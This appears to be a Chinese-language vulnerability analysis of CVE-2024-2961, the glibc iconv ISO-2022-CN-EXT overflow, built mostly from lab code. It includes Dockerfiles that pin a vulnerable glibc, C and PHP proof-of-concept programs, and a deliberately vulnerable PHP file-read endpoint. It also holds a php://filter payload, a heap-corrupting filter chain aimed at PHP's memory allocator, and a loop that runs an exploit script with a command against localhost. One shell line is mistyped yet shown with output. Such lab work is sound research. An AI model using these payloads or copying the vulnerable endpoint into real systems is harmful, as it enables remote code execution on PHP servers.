CVE-2024-2961 漏洞分析 by owl_d#

1
size_t iconv(iconv_t cd,
2

3
             char **inbuf, size_t *inbytesleft,
4

5
             char **outbuf, size_t *outbytesleft);

1
# 基本 docker 的模板
2
# 自己習慣先裝最精簡的版本，後面有需要的再回來改
3
# docker build -t <image name>:<tag> .
4
# docker run --rm -it <image name>:tag
5

6
FROM ubuntu:22.04
7

8
# 解決 apt install 跳出來的互動問題
9
ENV DEBIAN_FRONTEND=noninteractive
10

11
# 基本工具
12
RUN apt-get update && apt-get install -y \
13
  build-essential \
14
  wget \
15
  && rm -rf /var/lib/apt/lists/*
16

17
# 進去容器後在 work 裡
18
WORKDIR /work
19

20
# 預設開 bash
21
CMD ["bash"]

1
# 第二版 Dockerfile (glibc configure 會用到的東西)
2
# docker build -t <image name>:<tag> .
3
# docker run --rm -it <image name>:tag
4

5
FROM ubuntu:22.04
6

7
# 解決 apt install 跳出來的互動問題
8
ENV DEBIAN_FRONTEND=noninteractive
9

10
# 基本工具 + glibc 工具
11
RUN apt-get update && apt-get install -y \
12
  build-essential \
13
  wget \
14
  gawk \
15
  bison \
16
  python3 \
17
  texinfo \
18
  xz-utils \
19
  && rm -rf /var/lib/apt/lists/*
20

21
# 進去容器後在 work 裡
22
WORKDIR /work
23

24
# 把前面 glibc 建好的 shell script
25
COPY ./glibc_setup.sh glibc_setup.sh
26
RUN chmod +x glibc_setup.sh
27
RUN bash /work/glibc_setup.sh
28

29
# 預設開 bash
30
CMD ["bash"]

1
#!/bin/bash
2

3
wget https://ftp.gnu.org/gnu/glibc/glibc-2.39.tar.xz
4
tar -xf glibc-2.39.tar.xz
5

6
cd glibc-2.39
7
mkdir glibc-build
8
cd glibc-build

1
size_t iconv(
2
    iconv_t cd,
3
    char **inbuf,
4
    size_t *inbytesleft,
5
    char **outbuf,
6
    size_t *outbytesleft
7
);

1
#include <iconv.h>
2
#include <stdio.h>
3
#include <string.h>
4
#include <errno.h>
5

6
int main(){
7
  const char *in = "劄";
8

9
  char out[3];
10
  char overflow[5] = "AAAA";
11

12
  memset(out, 'B', sizeof(out));
13

14
  iconv_t cd = iconv_open("ISO_2022_CN_EXT", "UTF-8");
15
  if (cd == (iconv_t) - 1){
16
    perror("iconv_open");
17
    return 1;
18
  }
19

20
  char *pin = (char *)in;
21
  size_t inleft = strlen(in);
22
  char *pout = (char *)out;
23
  size_t outleft = strlen(out);
24

25
  printf("Before overflow: %s\n", overflow);
26

27
  size_t r = iconv(cd, &pin, &inleft, &pout, &outleft);
28
  printf("iconv ret=%zd errno=%d (%s)\n", r, errno, strerror(errno));
29

30
  printf("After overflow: %s\n", overflow);
31

32
  iconv_close(cd);
33
  return 0;
34
}

1
#include <iconv.h>
2
#include <stdio.h>
3
#include <string.h>
4
#include <errno.h>
5

6
static void dump(const char *tag, unsigned char *p, size_t n) {
7
    printf("%s:", tag);
8
    for (size_t i = 0; i < n; i++) printf(" %02x", p[i]);
9
    putchar('\n');
10
}
11

12
int main() {
13
    const char *in = "劄";
14

15
    char out[3];
16
    char overflow[5] = "AAAA";
17

18
    memset(out, 'B', sizeof(out));
19

20
    iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
21
    if (cd == (iconv_t)-1) {
22
        perror("iconv_open");
23
        return 1;
24
    }
25

26
    char *pin = (char *)in;
27
    size_t inleft = strlen(in);
28
    char *pout = out;
29
    size_t outleft = sizeof(out);
30

31
    printf("Before overflow as string: %s\n", overflow);
32
    dump("Before overflow bytes", (unsigned char*)overflow, sizeof(overflow));
33

34
    size_t r = iconv(cd, &pin, &inleft, &pout, &outleft);
35
    printf("iconv ret=%zd errno=%d (%s)\n", r, errno, strerror(errno));
36

37
    printf("After overflow as string: %s\n", overflow);
38
    dump("After overflow bytes", (unsigned char*)overflow, sizeof(overflow));
39

40
    iconv_close(cd);
41
    return 0;
42
}

1
#!/bin/bash
2
set -e
3

4
GLIBC=/opt/glibc-2.39
5
LOADER=$GLIBC/lib/ld-linux-x86-64.so.2
6

7
SYS_LIB="/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu"
8

9
exec env \
10
  GCONV_PATH="$GLIBC/lib/gconv" \
11
  "$LOADER" --library-path "$GLIBC/lib:$SYS_LIB" \
12
  "$@"

1
root@0a85e9f2e41d:/work# ./run-glibc239.sh php -r 'echo bin2hex(iconv("UTF-8","ISO-2022-CN-EXT","劄")), PHP_EOL;'
2
php: error while loading shared libraries: php: cannot open shared object file

1
root@0a85e9f2e41d:/work# ./run-glibc239.sh $(which php) -r 'echo bin2hex(iconv("UTF-8 "ISO-2022-CEXT", "劄")), PHP_EOL;'
2
1b242a481b4e4c610f

1
<?php
2
// 拿來當輸入的字（3 bytes）
3
$in = "劄";
4

5
// 開一條 stream
6
$fp = fopen("php://memory", "w+");
7

8
// 把 in 寫進 stream
9
fwrite($fp, $in);
10

11
// 把 pointer 重新移到開頭，等等的 stream_get_contents 才能從頭讀
12
rewind($fp);
13

14
// 串 filter
15
stream_filter_append($fp, "convert.iconv.UTF-8.ISO-2022-CN-EXT", STREAM_FILTER_READ);
16

17
// 觸發 filter 讀資料
18
$out = stream_get_contents($fp);
19

20
// 把輸出 bytes 印出來
21
echo bin2hex($out), PHP_EOL;

1
$_POST['file'] = "php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,AAAAA..."

1
struct _zend_mm_heap {
2
    ...
3
    int use_custom_heap; // ===== 第一個重點在這邊
4
    ...
5
    union {
6
        struct {
7
            void *(*_malloc)(size_t);
8
            void (*_free)(void*); // ========第二個在這裡
9
            void *(*_realloc)(void*, size_t);
10
        } std;
11
        ...
12
    } custom_heap;
13
    ...
14
};

1
FROM ubuntu:22.04
2

3
ENV DEBIAN_FRONTEND=noninteractive
4

5
RUN apt-get update && \
6
    apt-get install -y nginx \
7
    php-fpm \
8
    python3 \
9
    wget
10

11
RUN sed -i 's|listen = /run/php/php8.1-fpm.sock|listen = 127.0.0.1:9000|' /etc/php/8.1/fpm/pool.d/www.conf
12

13
COPY index.php /var/www/html/index.php
14
COPY nginx.conf /etc/nginx/sites-enabled/default
15

16
CMD service php8.1-fpm start && nginx -g 'daemon off;'

1
<?php
2
$file = $_POST['file'];
3
$data = file_get_contents($file);
4
echo "File contents: $data";
5
?>

1
filters = [
2
    "zlib.inflate",              # 解壓我們傳上去的一大串 Payload
3
    "zlib.inflate",
4
    "dechunk",
5
    "convert.iconv.L1.L1",       # 這邊不會做事，單純為了觸發 alloc/free
6
    "dechunk",                   # dechunk 來繞過 iconv，地址才不會被改掉
7
    "convert.iconv.L1.L1",
8
    "dechunk",
9
    "convert.iconv.UTF-8.ISO-2022-CN-EXT", # 在這邊 off by one
10
    "convert.quoted-printable-decode", # 寫入 _zend_mm_heap
11
    "convert.iconv.L1.L1",
12
]

1
#!/bin/bash
2

3
for i in {10..50}; do
4
  echo "Pad: $i"
5
  python3 cnext-exploit.py http://127.0.0.1:8080/index.php "touch /tmp/pwned_$i" --pad $i
6
done

1
FROM ubuntu:22.04
2

3
ENV DEBIAN_FRONTEND=noninteractive
4

5
RUN apt-get update && \
6
    apt-get install -y nginx php-fpm python3 wget curl && \
7
    rm -rf /var/lib/apt/lists/*
8

9
WORKDIR /tmp
10

11
# 因為 2.35-0ubuntu3.8 裡面洞已經被修掉了
12
# 所以要特別指定（沒指定的話 22.04 是搭配 ubuntu3.11）
13
RUN wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.35-0ubuntu3_amd64.deb && \
14
    wget http://archive.ubuntu.com/ubuntu/pool/main/g/glibc/libc-bin_2.35-0ubuntu3_amd64.deb && \
15
    # 使用 dpkg 強制安裝，並用 allow-downgrade 忽略版本檢查
16
    dpkg -i --force-all *.deb && \
17
    rm *.deb
18

19
# 鎖定版本
20
RUN apt-mark hold libc6 libc-bin
21

22
RUN sed -i 's|listen = /run/php/php8.1-fpm.sock|listen = 127.0.0.1:9000|' /etc/php/8.1/fpm/pool.d/www.conf
23
RUN sed -i 's|post_max_size = 8M|post_max_size = 100M|' /etc/php/8.1/fpm/php.ini && \
24
    sed -i 's|memory_limit = 128M|memory_limit = 512M|' /etc/php/8.1/fpm/php.ini
25

26
COPY index.php /var/www/html/index.php
27
RUN chown -R www-data:www-data /var/www/html
28
COPY ./nginx.conf /etc/nginx/sites-enabled/default
29

30
CMD service php8.1-fpm start && nginx -g 'daemon off;'